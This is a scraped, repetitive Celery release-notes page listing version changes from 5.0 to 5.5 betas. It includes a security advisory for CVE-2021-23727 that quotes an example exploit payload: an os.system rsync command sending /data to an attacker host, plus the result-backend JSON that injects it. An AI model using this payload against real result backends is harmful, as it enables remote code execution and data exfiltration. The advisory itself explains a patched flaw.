Added worker_enable_soft_shutdown_on_idle (#9231)
Bump cryptography from 43.0.0 to 43.0.1 (#9233)
Added docs regarding the relevancy of soft shutdown and ETA tasks (#9238)
Show broker_connection_retry_on_startup warning only if it evaluates as False (#9227)
Fixed docker-docs CI failure (#9240)
Added docker cleanup auto-fixture to improve smoke tests stability (#9243)
print is not thread-safe, so should not be used in signal handler (#9222)
Prepare for (pre) release: v5.5.0b3 (#9244)
Remove setuptools deprecated test command from setup.py by @sevdog in https://github.com/celery/celery/pull/9159
Celery v5.5.0 Beta 2 is now available for testing. Please help us test this version and report any issues.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
Full Changelog: https://github.com/celery/celery/compare/v5.5.0b1...v5.5.0b2
Celery v5.5.0 Beta 2 is now available for testing. Please help us test this version and report any issues.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Bump pytest from 8.3.1 to 8.3.2 (#9153)
Remove setuptools deprecated test command from setup.py (#9159)
Pin pre-commit to latest version 3.8.0 from Python 3.9 (#9156)
Bump mypy from 1.11.0 to 1.11.1 (#9164)
Change "docker-compose" to "docker compose" in Makefile (#9169)
update python versions and docker compose (#9171)
Add support for Pydantic model validation/serialization (fixes #8751) (#9023)
Allow local dynamodb to be installed on another host than localhost (#8965)
Terminate job implementation for gevent concurrency backend (#9083)
Bump Kombu to v5.4.0 (#9177)
Add check for soft_time_limit and time_limit values (#9173)
Prepare for (pre) release: v5.5.0b2 (#9178)
Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 by @Nusnus in https://github.com/celery/celery/pull/8988
Celery v5.5.0 Beta 1 is now available for testing. Please help us test this version and report any issues.
The root cause of the Redis broker instability issue has been identified and resolved in the release-candidate for Kombu v5.4.0. This beta release has been upgraded to use the new Kombu RC version, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
Full Changelog: https://github.com/celery/celery/compare/v5.4.0...v5.5.0b1
Celery v5.5.0 Beta 1 is now available for testing. Please help us test this version and report any issues.
The root cause of the Redis broker instability issue has been identified and resolved in the release-candidate for Kombu v5.4.0. This beta release has been upgraded to use the new Kombu RC version, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
(docs): use correct version celery v.5.4.x (#8975)
Update mypy to 1.10.0 (#8977)
Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 (#8988)
Bump pytest from 8.1.1 to 8.2.0 (#8987)
Update README to Include FastAPI in Framework Integration Section (#8978)
Clarify return values of ..._on_commit methods (#8984)
add kafka broker docs (#8935)
Limit pymongo<4.7 regardless of Python version (#8999)
Update pymongo[srv] requirement from <4.7,>=4.0.2 to >=4.0.2,<4.8 (#9000)
Update elasticsearch requirement from <=8.13.0 to <=8.13.1 (#9004)
security: SecureSerializer: support generic low-level serializers (#8982)
don't kill if pid same as file (#8997) (#8998)
Update cryptography to 42.0.6 (#9005)
Bump cryptography from 42.0.6 to 42.0.7 (#9009)
Added -vv to unit, integration and smoke tests (#9014)
SecuritySerializer: ensure pack separator will not be conflicted with serialized fields (#9010)
Update sphinx-click to 5.2.2 (#9025)
Bump sphinx-click from 5.2.2 to 6.0.0 (#9029)
Fix a typo to display the help message in first-steps-with-django (#9036)
Pinned requests to v2.31.0 due to docker-py bug #3256 (#9039)
Fix certificate validity check (#9037)
Revert "Pinned requests to v2.31.0 due to docker-py bug #3256" (#9043)
Bump pytest from 8.2.0 to 8.2.1 (#9035)
Update elasticsearch requirement from <=8.13.1 to <=8.13.2 (#9045)
Fix detection of custom task set as class attribute with Django (#9038)
Update elastic-transport requirement from <=8.13.0 to <=8.13.1 (#9050)
Bump pycouchdb from 1.14.2 to 1.16.0 (#9052)
Update pytest to 8.2.2 (#9060)
Bump cryptography from 42.0.7 to 42.0.8 (#9061)
Update elasticsearch requirement from <=8.13.2 to <=8.14.0 (#9069)
[enhance feature] Crontab schedule: allow using month names (#9068)
Enhance tox environment: [testenv:clean] (#9072)
Clarify docs about Reserve one task at a time (#9073)
GCS docs fixes (#9075)
Use hub.remove_writer instead of hub.remove for write fds (#4185) (#9055)
Class method to process crontab string (#9079)
Fixed smoke tests env bug when using integration tasks that rely on Redis (#9090)
Bugfix - a task will run multiple times when chaining chains with groups (#9021)
Bump mypy from 1.10.0 to 1.10.1 (#9096)
Don't add a separator to global_keyprefix if it already has one (#9080)
Update pymongo[srv] requirement from <4.8,>=4.0.2 to >=4.0.2,<4.9 (#9111)
Added missing import in examples for Django (#9099)
Bump Kombu to v5.4.0rc1 (#9117)
Removed skipping Redis in t/smoke/tests/test_consumer.py tests (#9118)
Update pytest-subtests to 0.13.0 (#9120)
Increased smoke tests CI timeout (#9122)
Bump Kombu to v5.4.0rc2 (#9127)
Update zstandard to 0.23.0 (#9129)
Update pytest-subtests to 0.13.1 (#9130)
Changed retry to tenacity in smoke tests (#9133)
Bump mypy from 1.10.1 to 1.11.0 (#9135)
Update cryptography to 43.0.0 (#9138)
Update pytest to 8.3.1 (#9137)
Added support for Quorum Queues (#9121)
Bump Kombu to v5.4.0rc3 (#9139)
Cleanup in Changelog.rst (#9141)
Update Django docs for CELERY_CACHE_BACKEND (#9143)
Added missing docs to previous releases (#9144)
Fixed a few documentation build warnings (#9145)
docs(README): link invalid (#9148)
Prepare for (pre) release: v5.5.0b1 (#9146)
Fix DeprecationWarning: datetime.datetime.utcnow()
Celery v5.4.0 and v5.3.x have consistently focused on enhancing the overall QA, both internally and externally. This effort led to the new pytest-celery v1.0.0 release, developed concurrently with v5.3.0 & v5.4.0.
This release introduces two significant QA enhancements:
Contrary to the positive developments above, there have been numerous reports about issues with the Redis broker malfunctioning upon restarts and disconnections. Our initial attempts to resolve this were not successful (#8796). With our enhanced QA capabilities, we are now prepared to address the core issue with Redis (as a broker) again.
The rest of the changes for this release are grouped below, with the changes from the latest release candidate listed at the end.
workflow_dispatch for targeted debugging and testing (#8826)chord when using dynamicdb as backend store (#8783)Full Changelog: https://github.com/celery/celery/compare/v5.3.6...v5.4.0
feat(daemon): allows daemonization options to be fetched from app settings by @noirbizarre in https://github.com/celery/celery/pull/8553
chord when using dynamicdb as backend store by @dingxiong in https://github.com/celery/celery/pull/8783workflow_dispatch for targeted debugging and testing (#8822) by @50-Course in https://github.com/celery/celery/pull/8826link_error signatures being dicts instead of Signatures by @murrple-1 in https://github.com/celery/celery/pull/8841Full Changelog: https://github.com/celery/celery/compare/v5.4.0rc1...v5.4.0rc2
feat(daemon): allows daemonization options to be fetched from app settings (#8553)
Fixed version documentation tag from #8553 in configuration.rst (#8802)
Upgraded Sphinx from v5.3.0 to v7.x.x (#8803)
Update elasticsearch requirement from <=8.11.1 to <=8.12.0 (#8810)
Update elastic-transport requirement from <=8.11.0 to <=8.12.0 (#8811)
Update cryptography to 42.0.0 (#8814)
Catch UnicodeDecodeError when opening corrupt beat-schedule.db (#8806)
Update cryptography to 42.0.1 (#8817)
Limit moto to <5.0.0 until the breaking issues are fixed (#8820)
Enable efficient chord when using dynamicdb as backend store (#8783)
Add a Task class specialised for Django (#8491)
Sync kombu versions in requirements and setup.cfg (#8825)
chore(ci): Enhance CI with workflow_dispatch for targeted debugging and testing (#8826)
Update cryptography to 42.0.2 (#8827)
Docfix: pip install celery[sqs] -> pip install "celery[sqs]" (#8829)
Bump pre-commit/action from 3.0.0 to 3.0.1 (#8835)
Support moto 5.0 (#8838)
Another fix for link_error signatures being dict`s instead of `Signature s (#8841)
Bump codecov/codecov-action from 3 to 4 (#8831)
Upgrade from pytest-celery v1.0.0b1 -> v1.0.0b2 (#8843)
Bump pytest from 7.4.4 to 8.0.0 (#8823)
Update pre-commit to 3.6.1 (#8839)
Update cryptography to 42.0.3 (#8854)
Bump pytest from 8.0.0 to 8.0.1 (#8855)
Update cryptography to 42.0.4 (#8864)
Update pytest to 8.0.2 (#8870)
Update cryptography to 42.0.5 (#8869)
Update elasticsearch requirement from <=8.12.0 to <=8.12.1 (#8867)
Eliminate consecutive chords generated by group | task upgrade (#8663)
Make custom remote control commands available in CLI (#8489)
Add Google Cloud Storage (GCS) backend (#8868)
Bump msgpack from 1.0.7 to 1.0.8 (#8885)
Update pytest to 8.1.0 (#8886)
Bump pytest-timeout from 2.2.0 to 2.3.1 (#8894)
Bump pytest-subtests from 0.11.0 to 0.12.1 (#8896)
Bump mypy from 1.8.0 to 1.9.0 (#8898)
Update pytest to 8.1.1 (#8901)
Update contributing guide to use ssh upstream url (#8881)
Fix recursive result parents on group in middle of chain (#8903)
Bump pytest-celery to 1.0.0b4 (#8899)
Adjusted smoke tests CI time limit (#8907)
Update pytest-rerunfailures to 14.0 (#8910)
Use the "all" extra for pytest-celery (#8911)
Fix typos and grammar (#8915)
Bump pytest-celery to 1.0.0rc1 (#8918)
Print safe_say() to stdout for non-error flows (#8919)
Update pytest-cov to 5.0.0 (#8924)
Bump pytest-celery to 1.0.0rc2 (#8928)
Upstash's Celery example repo link fix due to deprecation of the prev… by @Nusnus in https://github.com/celery/celery/pull/8665
Celery v5.4 continues our effort to provide improved stability in production environments. The release candidate version is available for testing. The official release is planned for March-April 2024.
Please share feedback in the discussion below.
celery/utils/nodenames.py by @lyzlisa in https://github.com/celery/celery/pull/8667new adjective in docs by @Viicos in https://github.com/celery/celery/pull/8743Full Changelog: https://github.com/celery/celery/compare/v5.3.6...v5.4.0rc1
Celery v5.4 continues our effort to provide improved stability in production environments. The release candidate version is available for testing. The official release is planned for March-April 2024.
New Config: worker_enable_prefetch_count_reduction (#8581)
Added "Serverless" section to Redis doc (redis.rst) (#8640)
Upstash's Celery example repo link fix (#8665)
Update mypy version (#8679)
Update cryptography dependency to 41.0.7 (#8690)
Add type annotations to celery/utils/nodenames.py (#8667)
Issue 3426. Adding myself to the contributors. (#8696)
Bump actions/setup-python from 4 to 5 (#8701)
Fixed bug where chord.link_error() throws an exception on a dict type errback object (#8702)
Bump github/codeql-action from 2 to 3 (#8725)
Fixed multiprocessing integration tests not running on Mac (#8727)
Added make docker-docs (#8729)
Fix DeprecationWarning: datetime.datetime.utcnow() (#8726)
Remove new adjective in docs (#8743)
add type annotation to celery/utils/sysinfo.py (#8747)
add type annotation to celery/utils/iso8601.py (#8750)
Change type annotation to celery/utils/iso8601.py (#8752)
Update test deps (#8754)
Mark flaky: test_asyncresult_get_cancels_subscription() (#8757)
change _read_as_base64 (b64encode returns bytes) on celery/utils/term.py (#8759)
Replace string concatenation with fstring on celery/utils/term.py (#8760)
Add type annotation to celery/utils/term.py (#8755)
Skipping test_tasks::test_task_accepted (#8761)
Updated concurrency docs page. (#8753)
Changed pyup -> dependabot for updating dependencies (#8764)
Bump isort from 5.12.0 to 5.13.2 (#8772)
Update elasticsearch requirement from <=8.11.0 to <=8.11.1 (#8775)
Bump sphinx-click from 4.4.0 to 5.1.0 (#8774)
Bump python-memcached from 1.59 to 1.61 (#8776)
Update elastic-transport requirement from <=8.10.0 to <=8.11.0 (#8780)
python-memcached==1.61 -> python-memcached>=1.61 (#8787)
Remove usage of utcnow (#8791)
Smoke Tests (#8793)
Moved smoke tests to their own workflow (#8797)
Bugfix: Worker not consuming tasks after Redis broker restart (#8796)
Bugfix: Missing id on chain (#8798)
This release is focused mainly to fix AWS SQS new feature compatibility issue and old regressions. The code changes are mostly fix for regressions. Mo
This release is focused mainly to fix AWS SQS new feature compatibility issue and old regressions. The code changes are mostly fix for regressions. More details can be found below.
Full Changelog: https://github.com/celery/celery/compare/v5.3.5...v5.3.6
This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions. The code changes are mostly fix for regressions. More details can be found below.
Increased docker-build CI job timeout from 30m -> 60m (#8635)
Incredibly minor spelling fix. (#8649)
Fix non-zero exit code when receiving remote shutdown (#8650)
Update task.py get_custom_headers missing 'compression' key (#8633)
Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer (#8646)
test requirements version update (#8655)
Update elasticsearch version (#8656)
Propagates more ImportErrors during autodiscovery (#8632)
Main theme of this release is adding Python 3.12 compatibility support all through the projects dependencies. Also lots of bugs were squashed. Depende
Main theme of this release is adding Python 3.12 compatibility support all through the projects dependencies. Also lots of bugs were squashed. Dependencies upgraded and docs improved.
request in task_revoked documentation by @RJPercival in https://github.com/celery/celery/pull/8616config_from_object nested mod… by @frolenkov-nikita in https://github.com/celery/celery/pull/8619Full Changelog: https://github.com/celery/celery/compare/v5.3.4...v5.3.5
Update test.txt versions (#8481)
fix os.getcwd() FileNotFoundError (#8448)
Fix typo in CONTRIBUTING.rst (#8494)
typo(doc): configuration.rst (#8484)
assert before raise (#8495)
Update GHA checkout version (#8496)
Fixed replaced_task_nesting (#8500)
Fix code indentation for route_task() example (#8502)
support redis 5.x (#8504)
Fix typos in test_canvas.py (#8498)
Marked flaky tests (#8508)
Fix typos in calling.rst (#8506)
Added support for replaced_task_nesting in chains (#8501)
Fix typos in canvas.rst (#8509)
Patch Version Release Checklist (#8488)
Added Python 3.11 support to Dockerfile (#8511)
Dependabot (Celery) (#8510)
Bump actions/checkout from 3 to 4 (#8512)
Update ETA example to include timezone (#8516)
Replaces datetime.fromisoformat with the more lenient dateutil parser (#8507)
Fixed indentation in Dockerfile for Python 3.11 (#8527)
Fix git bug in Dockerfile (#8528)
Tox lint upgrade from Python 3.9 to Python 3.11 (#8526)
Document gevent concurrency (#8520)
Update test.txt (#8530)
Celery Docker Upgrades (#8531)
pyupgrade upgrade v3.11.0 -> v3.13.0 (#8535)
Update msgpack.txt (#8548)
Update auth.txt (#8547)
Update msgpack.txt to fix build issues (#8552)
Basic ElasticSearch / ElasticClient 8.x Support (#8519)
Fix eager tasks does not populate name field (#8486)
Fix typo in celery.app.control (#8563)
Update solar.txt ephem (#8566)
Update test.txt pytest-timeout (#8565)
Correct some mypy errors (#8570)
Update elasticsearch.txt (#8573)
Update test.txt deps (#8574)
Update test.txt (#8590)
Improved the "Next steps" documentation (#8561). (#8600)
Disabled couchbase tests due to broken package breaking main (#8602)
Update elasticsearch deps (#8605)
Update cryptography==41.0.5 (#8604)
Update pytest==7.4.3 (#8606)
test initial support of python 3.12.x (#8549)
updated new versions to fix CI (#8607)
Update zstd.txt (#8609)
Fixed CI Support with Python 3.12 (#8611)
updated CI, docs and classifier for next release (#8613)
updated dockerfile to add python 3.12 (#8614)
lint,mypy,docker-unit-tests -> Python 3.12 (#8617)
Correct type of request in task_revoked documentation (#8616)
update docs docker image (#8618)
Fixed RecursionError caused by giving config_from_object nested mod… (#8619)
Fix: serialization error when gossip working (#6566)
[documentation] broker_connection_max_retries of 0 does not mean "retry forever" (#8626)
added 2 debian package for better stability in Docker (#8629)
Versions 5.3.2 and 5.3.3 were identified to contain breaking changes and have been yanked to maintain codebase stability. We appreciate the community'…
Versions 5.3.2 and 5.3.3 were identified to contain breaking changes and have been yanked to maintain codebase stability. We appreciate the community's timely feedback on these versions and apologize for any inconvenience caused.
Full Changelog: https://github.com/celery/celery/compare/v5.3.1...v5.3.4
Warning
This version has reverted the breaking changes introduced in 5.3.2 and 5.3.3:
Revert "store children with database backend" (#8475)
Revert "Fix eager tasks does not populate name field" (#8476)
Bugfix: Removed unecessary stamping code from _chord.run() (#8339)
User guide fix (hotfix for #1755) (#8342)
store children with database backend (#8338)
Stamping bugfix with group/chord header errback linking (#8347)
Use argsrepr and kwargsrepr in LOG_RECEIVED (#8301)
Fixing minor typo in code example in calling.rst (#8366)
add documents for timeout settings (#8373)
fix: copyright year (#8380)
setup.py: enable include_package_data (#8379)
Fix eager tasks does not populate name field (#8383)
Update test.txt dependencies (#8389)
Update auth.txt deps (#8392)
Fix backend.get_task_meta ignores the result_extended config parameter in mongodb backend (#8391)
Support preload options for shell and purge commands (#8374)
Implement safer ArangoDB queries (#8351)
integration test: cleanup worker after test case (#8361)
Added "Tomer Nosrati" to CONTRIBUTORS.txt (#8400)
Update README.rst (#8404)
Update README.rst (#8408)
fix(canvas): add group index when unrolling tasks (#8427)
fix(beat): debug statement should only log AsyncResult.id if it exists (#8428)
Lint fixes & pre-commit autoupdate (#8414)
Update auth.txt (#8435)
Update mypy on test.txt (#8438)
added missing kwargs arguments in some cli cmd (#8049)
Fix #8431: Set format_date to False when calling _get_result_meta on mongo backend (#8432)
Docs: rewrite out-of-date code (#8441)
Limit redis client to 4.x since 5.x fails the test suite (#8442)
Limit tox to < 4.9 (#8443)
Fixed issue: Flags broker_connection_retry_on_startup & broker_connection_retry aren’t reliable (#8446)
doc update from #7651 (#8451)
Remove tox version limit (#8464)
Fixed AttributeError: 'str' object has no attribute (#8463)
Upgraded Kombu from 5.3.1 -> 5.3.2 (#8468)
Document need for CELERY_ prefix on CLI env vars (#8469)
Use string value for CELERY_SKIP_CHECKS envvar (#8462)
Revert "store children with database backend" (#8475)
Revert "Fix eager tasks does not populate name field" (#8476)
Update Changelog (#8474)
Remove as it seems to be buggy. (#8340)
Revert "Add Semgrep to CI" (#8477)
Revert "Revert "Add Semgrep to CI"" (#8478)
Release date: 2023-06-18 8:15 P.M GMT+6
Release date: 2023-06-18 8:15 P.M GMT+6
Release by: Asif Saif Uddin
Fix: code block formatting for task deprecation by @marksweb in https://github.com/celery/celery/pull/7453
Release date: 2023-06-06 12:00 P.M GMT+6
Release by: Asif Saif Uddin
parse_page consistent by @goldstar611 in https://github.com/celery/celery/pull/7301security_key_password option by @tibotix in https://github.com/celery/celery/pull/7292task -> worker by @mbyrnepr2 in https://github.com/celery/celery/pull/7307broker_connection_retry should no longer apply on startup by @thedrow in https://github.com/celery/celery/pull/7300mypy to the pipeline by @Kludex in https://github.com/celery/celery/pull/7383celery/states.py by @Kludex in https://github.com/celery/celery/pull/7395TYPE_CHECKING by @Kludex in https://github.com/celery/celery/pull/7400celery/fixups by @Kludex in https://github.com/celery/celery/pull/7399task_compression by @thedrow in https://github.com/celery/celery/pull/7470f prefix on f-strings fix by @code-review-doctor in https://github.com/celery/celery/pull/7481callable built-in by @gabrielsoldani in https://github.com/celery/celery/pull/7553dont_autoretry_for option in tasks. by @dobosevych in https://github.com/celery/celery/pull/7556on_after_finalize cannot access tasks due to deadlock(Fixes #3589) by @954-Ivory in https://github.com/celery/celery/pull/7652tuple was not supported in the link_error flow for task_allow_error_cb_on_chord_header flag by @Nusnus in https://github.com/celery/celery/pull/7772amqp from the BACKEND_ALISES list by @Kludex in https://github.com/celery/celery/pull/7805print by logger.debug by @Kludex in https://github.com/celery/celery/pull/7809except ImportError by @Kludex in https://github.com/celery/celery/pull/7812isatty wrapper function by @Kludex in https://github.com/celery/celery/pull/7814_range by @Kludex in https://github.com/celery/celery/pull/7813concurrency/threads.py by @Kludex in https://github.com/celery/celery/pull/7808.cookiecutterrc by @Kludex in https://github.com/celery/celery/pull/7830.coveragerc file by @Kludex in https://github.com/celery/celery/pull/7826revoke_by_stamped_headers by @Nusnus in https://github.com/celery/celery/pull/7838stamped_headers key when implementing on_signature() by @Nusnus in https://github.com/celery/celery/pull/7856test_revoked_by_headers_complex_canvas by @Nusnus in https://github.com/celery/celery/pull/7877requests but only to the active_requests by @Nusnus in https://github.com/celery/celery/pull/7929celery/security/certificate.py by @Kludex in https://github.com/celery/celery/pull/7398celery/utils/text.py by @max-muoto in https://github.com/celery/celery/pull/8107celery/apps/beat.py by @max-muoto in https://github.com/celery/celery/pull/8108celery/schedules.py by @max-muoto in https://github.com/celery/celery/pull/8114Task.handle_ignore not wrapping exceptions properly by @youtux in https://github.com/celery/celery/pull/8149map is JSON serializable by @candleindark in https://github.com/celery/celery/pull/8229setup.py by @stegayet in https://github.com/celery/celery/pull/8248Full Changelog: https://github.com/celery/celery/compare/v5.2.7...v5.3.0
Test kombu 5.3.0 & minor doc update (#8294).
Update librabbitmq.txt > 2.0.0 (#8292).
Upgrade syntax to py3.8 (#8281).
Release date: 2023-05-31 9:00 P.M GMT+6
Release date: 2023-05-31 9:00 P.M GMT+6
Release by: Asif Saif Uddin
Deprecate parse_iso8601 in favor of fromisoformat by \@stumpylog in
Release date: 2023-05-11 4:24 P.M GMT+2
Release by: Tomer Nosrati
importlib_metadata remove deprecated entry point interfaces by \@woutdenolf in #7785
Release date: 2023-02-19 1:47 P.M GMT+2
Release by: Asif Saif Uddin
Release date: 2022-08-01 5:15 P.M UTC+6:00
Release date: 2022-08-01 5:15 P.M UTC+6:00
Release by: Asif Saif Uddin
Use importlib instead of deprecated pkg_resources.
Release date: 2022-06-29 5:15 P.M UTC+6:00
Release by: Asif Saif Uddin
Release date: 2022-5-26 12:15 P.M UTC+2:00
Release date: 2022-5-26 12:15 P.M UTC+2:00
Release by: Omer Katz
Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (#7534).
Release date: 2022-4-04 21:15 P.M UTC+2:00
Release date: 2022-4-04 21:15 P.M UTC+2:00
Release by: Omer Katz
load_extension_class_names - correct module_name (#7433).
: This fixes a regression caused by #7218.
This fixes a regression caused by #7218.
Use importlib instead of deprecated pkg_resources (#7218).
Release date: 2022-4-03 20:42 P.M UTC+2:00
Release by: Omer Katz
This release was yanked due to a regression caused by the PR below
This release was yanked due to a regression caused by the PR below
Use importlib instead of deprecated pkg_resources (#7218).
Release date: 2022-4-03 20:30 P.M UTC+2:00
Release date: 2022-4-03 20:30 P.M UTC+2:00
Release by: Omer Katz
Expose more debugging information when receiving unknown tasks (#7404).
Release date: 2021-12-29 12:00 P.M UTC+6:00
Release date: 2021-12-29 12:00 P.M UTC+6:00
Release by: Asif Saif Uddin
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data")by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/dataas the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" }According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
Release date: 2021-11-08 7.15 A.M UTC+6:00
Release date: 2021-11-08 7.15 A.M UTC+6:00
Release by: Asif Saif Uddin
Update deprecated task module removal in 5.0 documentation (#6981).
Release date: 2021-11-02 1.54 P.M UTC+3:00
Release by: Naomi Elstein
Release date: 2021-09-26 4.04 P.M UTC+3:00
Release date: 2021-09-26 4.04 P.M UTC+3:00
Release by: Omer Katz
Release date: 2021-09-02 8.38 P.M UTC+3:00
Release date: 2021-09-02 8.38 P.M UTC+3:00
Release by: Omer Katz
Release date: 2021-08-17 5.35 P.M UTC+3:00
Release date: 2021-08-17 5.35 P.M UTC+3:00
Release by: Omer Katz
Release date: 2021-08-11 5.42 P.M UTC+3:00
Release date: 2021-08-11 5.42 P.M UTC+3:00
Release by: Omer Katz
release-date : 2021-08-11 5.42 P.M UTC+3:00 release-by : Omer Katz
Add Python 3.10 support (#6807).
Fix docstring for Signal.send to match code (#6835).
No blank line in log output (#6838).
Chords get body_type independently to handle cases where body.type does not exist (#6847).
Fix #6844 by allowing safe queries via app.inspect().active() (#6849).
Fix multithreaded backend usage (#6851).
Fix Open Collective donate button (#6848).
Fix setting worker concurrency option after signal (#6853).
Make ResultSet.on_ready promise hold a weakref to self (#6784).
Update configuration.rst.
Discard jobs on flush if synack isn’t enabled (#6863).
Bump click version to 8.0 (#6861).
Amend IRC network link to Libera (#6837).
Import celery lazily in pytest plugin and unignore flake8 F821, “undefined name ‘…’” (#6872).
Fix inspect –json output to return valid json without –quiet.
Remove celery.task references in modules, docs (#6869).
The Consul backend must correctly associate requests and responses (#6823).
Please help support this community project with a donation.
Frequently Asked Questions
API Reference
index
modules |
next |
previous |
Celery 5.6.3 documentation »
Change history
© Copyright 2009-2023, Ask Solem & contributors.
Avoid using the Event.isSet() deprecated alias.
Release date: 2021-06-28 16.15 P.M UTC+3:00
Release by: Omer Katz
When chords fail, correctly call errbacks. (#6814)
We had a special case for calling errbacks when a chord failed which assumed they were old style. This change ensures that we call the proper errback dispatch method which understands new and old style errbacks, and adds test to confirm that things behave as one might expect now.
Avoid using the Event.isSet() deprecated alias. (#6824)
Reintroduce sys.argv default behaviour for Celery.start(). (#6825)
Release date: 2021-06-17 16.10 P.M UTC+3:00
Release date: 2021-06-17 16.10 P.M UTC+3:00
Release by: Omer Katz
Fix --pool=threads support in command line options parsing.
(#6787)
Fix LoggingProxy.write() return type. (#6791)
Couchdb key is now always coerced into a string. (#6781)
grp is no longer imported unconditionally. (#6804)
: This fixes a regression in 5.1.0 when running Celery in non-unix
systems.
Ensure regen utility class gets marked as done when concertised. (#6789)
Preserve call/errbacks of replaced tasks. (#6770)
Use single-lookahead for regen consumption. (#6799)
Revoked tasks are no longer incorrectly marked as retried. (#6812, #6816)
Release date: 2021-05-23 19.20 P.M UTC+3:00
Release date: 2021-05-23 19.20 P.M UTC+3:00
Release by: Omer Katz
celery -A app events -c camera now works as expected. (#6774)Release date: 2021-05-02 16.06 P.M UTC+3:00
Release date: 2021-05-02 16.06 P.M UTC+3:00
Release by: Omer Katz
Release date: 2021-05-02 16.06 P.M UTC+3:00
Release date: 2021-05-02 16.06 P.M UTC+3:00
Release by: Omer Katz
task.apply_async(ignore_result=True) now avoids persisting the
results. (#6713)worker_cancel_long_running_tasks_on_connection_loss{.interpreted-text
role="setting"} to terminate tasks with late acknowledgement on
connection loss. (#6654)task-revoked event and the task_revoked signal are not
duplicated when Request.on_failure is called. (#6654)Retry. (#6748)worker_pool{.interpreted-text role="setting"} setting is now
respected correctly. (#6711)Release date: 2021-04-02 10.25 P.M UTC+6:00
Release date: 2021-04-02 10.25 P.M UTC+6:00
Release by: Asif Saif Uddin
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
Nothing published for this version
:release-date: 2020-07-31 11.45 P.M UTC+6:00 :release-by: Asif Saif Uddin
:release-date: 2020-07-31 11.45 P.M UTC+6:00 :release-by: Asif Saif Uddin
Nothing published for this version
https://opencollective.com/celery/updates/celery-4-4-5
https://opencollective.com/celery/updates/celery-4-4-5
Nothing published for this version
Nothing published for this version
Your coding agent can read these notes before it upgrades. Set up the MCP server →